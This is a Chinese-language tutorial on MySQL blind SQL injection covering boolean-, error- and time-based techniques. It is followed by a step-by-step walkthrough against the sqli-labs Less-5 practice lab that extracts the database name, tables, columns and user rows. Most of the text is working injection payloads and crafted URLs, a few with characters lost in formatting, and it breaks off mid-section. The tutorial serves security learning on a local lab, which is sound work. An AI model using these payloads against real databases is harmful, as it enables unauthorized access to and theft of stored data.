三类盲注

  • 基于布尔的SQL盲注
  • 基于时间的SQL盲注
  • 基于报错的SQL盲注

ps: 实际情况中,建议先使用报错盲注,再使用布尔盲注,最后再使用时间盲注。

1.基于布尔的盲注 —— 构造逻辑判断

利用逻辑判断进行

  • left(database(),1) > 's'; //left函数

Explain:database() 显示当前数据库名,left(a,b) 从左侧截取字符串 a 的前 b 位。
eg: select * from users where id = 1 and left(database(),1) = 's';

  • ascii(substr((select database()),1,1)) > 1 //substr()函数,ascii()函数

Explain:substr(a,b,c) 从 b 位置开始截取字符串 a 的 c 个字符。ascii() 将某个字符转换为 ascii 值
eg: select * from users where id = 1 and ascii(substr((select database()),1,1)) > 1;

  • ord(mid((select database()),1,1)) > 98

Explain: mid(a,b,c) 从 b 位置开始截取字符串 a 的 c 个字符。ord() 将某个字符转换为 ascii 值
eg: select * from users where id = 1 and ord(mid((select database()),1,1)) > 98;

  • regexp 正则表达式注入

用法介绍:substr((select database()),1,1) regexp '^[a-z]' 判断当前数据库第一位字符是否在 a-z 之间。
Explain:正则表达式的用法,database() 结果为:securityregexp 为匹配 security 的正则表达式。
判断第二位可以用 substr((select database()),2,1) regexp '^[a-z]'
eg:
sql: select * from users where id = 1 and 1 = substr((select database()),1,1) regexp '^[a-z]';
image.png
当正确时,执行结果能正确显示,此时substr((select database()),1,1) regexp '^[a-z]'的结果为1,条件为真,不正确的时候结果为0。
在这之后,我们只需要不断缩减 regexp 表达式即可,可以使用二分法来快速判断第一位字符,例如:
'^[a-z]' -> '^[a-m]' -> '^[m-t]' -> '^[p-t]' -> '^[r-t]' -> '^[s-t]' -> '^[s]'
由此可判断出,当前数据库名第一位字符为 s
之后判断其他字符与其他数据字段,只需要更换 regexp 表达式即可,然后不断尝试,缩小范围。

  • like 匹配注入

和上述的正则类似,mysql在匹配的时候我们可以用 like 进行匹配。
用法: select database() like 's%';
image.png

2.基于报错的SQL盲注 —— 构造 payload 让信息通过错误提示回显出来

  • select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;

image.png
Explain:此处有三个点,一是需要concat 计数,二是 floor 取得 0 or 1 进行数据的重复,三是group by 进行分组,大致原理为分组后数据计数时重复造成的错误。
以上语句可以简化为如下的形式:
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));

  • select exp(~(select * FROM(SELECT USER())a)); //doble数值类型超出范围

Explain:exp() 为以 e 为底的对数函数,版本在5.5.5及以上,可以参考exp 报错文章:http://www.cnblogs.com/lcamry/articles/5509124.html

  • select !(select * from (select user())x) - ~0; //bigint 超出范围,~0 是对 0 逐位取反,版本在5.5.5及以上,可以参考文章 bigint 溢出文章[http://www.cnblogs.com/lcamry/articles/5509112.html](http://www.cnblogs.com/lcamry/articles/5509112.html)

image.png

  • extractvalue(1,concat(0x7e,(select database()),0x7e)) //mysql 对xml数据进行查询和修改的xpath函数,xpath语法错误。

image.png

  • updatexml(1,concat(0x7e,(select database()),0x7e),1) //mysql 对xml数据进行查询和修改的xpath函数,xpath语法错误。

image.png

  • select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x; //mysql 重复特性,此处重复了version,所以报错。

image.png

3.基于时间的盲注 —— 延时注入

  • if(ascii(substr(database(),1,1))>115,0,sleep(5)); //if判断语句,条件为假,执行sleep

image.png
ps: 实际使用中需要考虑网络延时等因素。

  • UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘MSG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1; //BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu 资源。推荐使用sleep()函数进行注入。

案例演示

Sqli-labs Less-5

  1. 利用 left(database(),1)进行尝试:http://localhost:8080/sqli-labs/Less-5/?id=1’ and left(version(),1)=5 —+

这里查看数据库版本号第一位是否为 5 ,返回结果正常显示,猜测正确。
image.png
当版本号不正确的时候,则不能正确显示 you are in ……
接下来看一下数据库的长度:
http://localhost:8080/sqli-labs/Less-5/?id=1’ and length(database())=8 —+
image.png
返回结果正确,说明长度为8.
猜测数据库第一位:
http://localhost:8080/sqli-labs/Less-5/?id=1’ and substr(database(),1,1)>’a’ —+
image.png
返回正确,数据库第一位 > a, 接下来可以使用二分法提高效率,来确定具体是哪一位字符。
在获得第一位具体字符后,第二位则可以依据 > sa ,来依次使用二分法判断。还可以使用 ascii(),left()以及正则来进行尝试。

  1. 假如你通过以上方式成功获取了数据库名 security ,接下来我们来获取第一个表名:

http://localhost:8080/sqli-labs/Less-5/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 —+
image.png
返回结果正常,接下来依次缩减范围,来确定准确字符。

  1. 利用 regexp 获取(2)中 users 表中的列

http://localhost:8080/sqli-labs/Less-5/?id=1’ and 1=(select 1 from information_schema.columns where table_name=’users’ and column_name regexp ‘^us[a-z]’ limit 0,1) —+
image.png
上述语句选择users表中是否有 us 开头的列。
image.png
上图可以看到username存在。我们尝试password等也存在。

  1. 利用 ord() 和 mid() 函数 获取 users 表的内容

http://localhost:8080/sqli-labs/Less-5/
?id=1’ and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68 —+
image.png
获取users 表中的内容。获取username 中的第一行的第一个字符的ascii,与68 进行比较,即为D。而我们从表中得知第一行的数据为Dumb。所以接下来只需要重复造轮子即可。

  1. 演示报错注入

http://localhost:8080/sqli-labs/Less-5/
?id=1’ union select 1,count(),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)2))a from information_schema.columns group by a —+
image.png
利用double 数值型超出范围进行报错注入: